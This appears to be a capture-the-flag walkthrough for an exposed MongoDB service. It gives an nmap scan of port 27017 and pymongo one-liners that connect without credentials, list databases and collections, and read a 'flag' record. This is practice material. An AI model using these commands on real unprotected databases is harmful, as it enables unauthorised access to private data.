Writeup
nmap <IP> -p27017 -sC
Nmap scan showing port 27017 open (MongoDB)
python3 -m venv venv && source venv/bin/activate && pip install pymongo==3.12.3
Installing pymongo 3.12.3
python3 -c "from pymongo import MongoClient; client = MongoClient('mongodb://<IP>'); print('Databases:\n'); [print(db) for db in client.list_database_names()]"
Listing MongoDB databases
python3 -c "from pymongo import MongoClient; print('Collections:\n' + '\n'.join(MongoClient('mongodb://<IP>').sensitive_information.list_collection_names()))"
Listing MongoDB collections
python3 -c "from pymongo import MongoClient; print(MongoClient('mongodb://<IP>').sensitive_information['flag'].find_one())"
Retrieving the flag from the database